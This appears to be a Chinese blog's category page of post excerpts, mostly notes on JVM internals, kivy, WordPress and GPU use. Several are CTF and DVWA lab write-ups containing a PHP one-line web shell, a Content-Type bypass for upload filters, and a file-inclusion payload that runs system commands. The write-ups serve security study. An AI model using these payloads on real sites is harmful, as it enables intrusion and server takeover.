知识扩展
文章平均质量分 74
濯君
求知,内敛,有趣,勤静
展开
-
bugku 安慰奖
打开网页,发现什么也没有,查看源码,发现YmFja3Vwcw==,base64解码,得到backups查看根目录下index.php.bak文件,得到代码<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->"; #base64解码,backupsclass ctf{ protected $username = 'hac.原创 2020-12-31 10:46:32 · 1972 阅读 · 3 评论 -
bugku web33
点击下载文件得到<?phpfunction encrypt($data,$key){ $key = md5('ISCC'); #729623334f0aa2784a1599fd374c120d $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { .原创 2020-12-31 09:38:00 · 832 阅读 · 0 评论 -
bugku web32 文件上传
打开实验,发现是文件上传只能上传图像,不能上传PHP文件,那应该是寻找漏洞上传PHP文件PHP文件里写入一句话木马<?php @eval($_POST[caidao]);?>使用burp抓包,不断尝试发现发现需要修改的地方有三个,一个是http head里的Content-Type: multipart/form-data;multipart中的部分字母改成大写的。第二个是文件的的Content-Type: application/octet-stream,改成image/j.原创 2020-12-30 22:38:54 · 1751 阅读 · 4 评论 -
bugku web34 hint:文件包含
首先打开实验场景,发现什么也没有查看源码,发现upload.php进入该上传页面<script language=php>system("find / -name flag*");</script>将上面的代码写入文本,文本名修改为2.jpg将2.jpg上传到服务器浏览器访问URLhttp://114.67.246.176:17269/index.php?file=upload/202012301028412794.jpg找到/flag,访问URLh.原创 2020-12-30 18:31:23 · 598 阅读 · 0 评论 -
网络攻防入门---SQL注入攻击
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。比如这里原本是通过输入用户id来查询用户的first name, surname<?php if(isset($_GET['Submit'])){ // Retrieve data $i.原创 2020-12-28 09:49:45 · 523 阅读 · 1 评论 -
网络攻防入门---文件包含漏洞
有些网页具有包含其他页面到当前页面的功能,是通过URL设置参数添加进来的,比如下面这个URLhttp://192.168.232.128/dvwa/vulnerabilities/fi/?page=include.php将include.php包含进来一:low级别 <?php $file = $_GET['page']; //The page we wish to display ?> 因为源码中没有对页面进行检查,直接包含,所以可以随意引入其他页面比如引入c.p原创 2020-12-27 21:34:12 · 313 阅读 · 1 评论 -
网络攻防入门---文件上传漏洞及防御
一:下载相应的工具VMwareKali linux2020.3下载与安装详细教程OWASP Broken Web Apps渗透测试环境搭建和安装教程中国菜刀下载二:主要是使用靶机OWASP Broken Web Apps中的Damn Vulnerable Web App作为攻击目标,其中的upload存在文件上传漏洞其中的DVWA Security可以设置安全等级,共有三个安全等级low,medium,high三:low安全等级此安全等级下的upload源码 <?php原创 2020-12-27 20:10:54 · 855 阅读 · 0 评论 -
指定使用哪个GPU运行程序
一:首先使用命令nvidia-smi查看有哪些可以使用的GPU二:指定GPU运行Python程序CUDA_VISIBLE_DEVICES=1 python main.py --cuda三:指定GPU运行c++程序CUDA_VISIBLE_DEVICES=1 ./de原创 2020-10-30 20:30:34 · 2774 阅读 · 1 评论 -
JVM-对象的内存分配
大多数情况下,对象在新生代Eden区中分配,当Eden区没有足够空间进行分配时,虚拟机将发起一次Minor GC。大对象直接进入老年代,大对象是指需要大量连续内存空间的java对象,典型的大对象是那种很长的字符串以及数组。虚拟机提供了一个-XX:PretenureSizeThreshold参数,存储空间大于这个设置值的对象直接在老年代分配,这么做是为了避免在Eden区及两个Survivor区之间发生大量的内存复制。长期存活的对象将进入老年代,虚拟机会给每个对象设置一个对象年龄(Age)计数器。如果对象原创 2020-08-24 14:14:10 · 153 阅读 · 0 评论 -
JVM垃圾收集算法
标记-清除算法分为标记,清除两个阶段,首先标记所有需要回收的对象,标记完成后统一回收所有被标记的对象。主要有两个不足:一是标记和清除两个过程的效率都不高;二是标记,清除之后会产生大量不连续的内存碎片。空间碎片太多,可能会导致以后在冲程序运行过程中,需要给较大对象分配内存时,无法找到足够的连续内存而提前触发垃圾收集操作。复制算法复制算法将可用内存按容量划分为大小相等的两块,每次只使用其中的一块。当这一块内存用完了,就将还存活的对象复制到另一块上面,然后再吧已使用过的那块内存空间一次清理掉。这样使得原创 2020-08-24 08:17:56 · 147 阅读 · 0 评论 -
java方法区的回收
方法区(Hotspot虚拟机中的永久代)的垃圾回收主要收集两部分的内容:废弃常量和无用的类。废弃常量的回收以常量池中字面量的回收为例,加入一个字符串“abc”已经进入常量池中,但是当前系统没有任何一个string对象叫作“abc”,即没有任何string对象引用常量池中的“abc”常量,也没有其他地方引用这个字面量。如果这时候发生内存回收,且有必要的话,这个“abc”常量就会被系统清理出常量池。常量池中的类(接口),方法,字段的符号引用也类似。类的回收当类满足以下三个条件,才能认为是无用的类。该原创 2020-08-23 19:17:51 · 464 阅读 · 0 评论 -
如何判断对象是否存活
判断对象是否存活的方法主要有两种:引用计数算法,可达性分析算法引用计数算法给对象添加一个引用计数器,当有一个地方引用它时,引用计数器+1,当有一个引用失效时,引用计数器-1,引用计数器为0时,表示对象不可能再被使用。这个方法实现简单,判断效率高,但是不能解决对象之间循环引用的问题。比如两个对象相互持有对方的引用,除此之外,再无其他引用,实际上这两个对象已经不能再被访问,但是因为它们互相引用对方,导致引用计数器不为0,导致垃圾收集器不能回收它们。可达性分析算法java,C#都是通过可达性分析算法来原创 2020-08-23 18:41:48 · 1165 阅读 · 0 评论 -
java中对象的访问定位
java程序通过栈上的reference数据来操作堆上的具体对象。目前主流的访问方式有两种使用句柄,直接指针。使用句柄java堆中会划分出一块内存作为句柄池,reference中存储的就是对象的句柄地址,而句柄中包含了对象的实例数据与类型数据各自的具体地址信息。直接指针java堆对象的布局中必须考虑如何放置访问类型数据的相关信息,reference中存放的是对象地址。使用句柄的访问方式,优势是,reference中存放的是稳定的句柄地址,在对象被移动时(垃圾收集时移动对象是很普遍的行为),只会原创 2020-08-22 20:41:57 · 187 阅读 · 0 评论 -
java对象的创建过程
以下为普通java对象的创建过程,不包括数组和Class对象等虚拟机遇到一条new指令时,首先去检查这个指令的参数是否能在常量池中定位到一个类的符合引用,并且检查这个符合引用代表的类是否已被加载,解析和初始化过。如果没有,再执行相应的类加载过程。在类加载检查通过后,虚拟机将为新生对象分配内存。对象所需的内存大小在类加载完成后就可以确定。为对象分配内存的任务即等同于。把一块确定大小的内存从java堆中划分出来。划分的方法有两种,取决于java堆中内存是否规整。而java堆中内存是否规整又由所采用的垃圾收原创 2020-08-22 20:17:10 · 165 阅读 · 0 评论 -
Java 运行时数据区
Java运行时数据区主要分为线程私有的程序计数器,虚拟机栈,本地方法栈,线程共享的堆,方法区,如下图一:程序计数器程序计数器是一块较小的内存空间,线程私有,可以看作是当前线程所执行的字节码的行号指示器,字节码解释器工作时,通过改变程序计数器的值来选取下一条需要执行的字节码指令,分支,循环,跳转,异常处理,线程恢复等功能都是依靠这个计算器来完成的。如果线程正在执行的是java方法,则计数器里存放的是正在执行的java字节码指令的地址;如果执行的是native方法,则计数器里的值为空。此内存区域是jav原创 2020-08-22 16:23:10 · 121 阅读 · 0 评论 -
wordpress目录不分层级方法!去掉WordPress目录链接中category?目录在根目录
刚刚接触Wordpress的小伙伴们可能被搞的无从下手,比如说添加目录后然后把目录添加到导航菜单链接会出/category/你的目录url。这样很不利于SEO那么怎么才能处理掉category这一层目录呢?下面求不黑找了集中常见的方法来分享给大家!第一:修改固定链接设置,去掉分类链接前缀category登录你的Wordpress后台,打开固定链接/永久链接设置项。在“可选设置”里的“分类地址...转载 2018-10-01 16:52:47 · 4949 阅读 · 2 评论 -
kivy实现屏幕切换
一:Python文件from kivy.app import Appfrom kivy.lang import Builderfrom kivy.uix.screenmanager import ScreenManager, Screen, FadeTransitionclass MainScreen(Screen): passclass AnotherScreen(Scre...转载 2019-04-03 09:17:08 · 2254 阅读 · 2 评论 -
kivy分割线的实现
<Separator@Widget>: canvas: Color: rgba: 1, 1, 1, 1 Rectangle: pos: self.pos size: self.size<HSeparator@Separator>: size_hint_...转载 2019-04-03 09:47:26 · 265 阅读 · 0 评论 -
wordpress建站相关问题解决
如何为 WordPress 绑定多个域名的方法如何让WordPress站点绑定多个域名原创 2019-04-03 10:37:47 · 382 阅读 · 0 评论 -
android 自定义打印log类
package com.lhr.jiandou.utils;import android.util.Log;/** * Created by ChinaLHR on 2016/12/13. * Email:13435500980@163.com */public class LogUtils { private LogUtils() { throw new Un转载 2017-02-17 11:35:13 · 1179 阅读 · 0 评论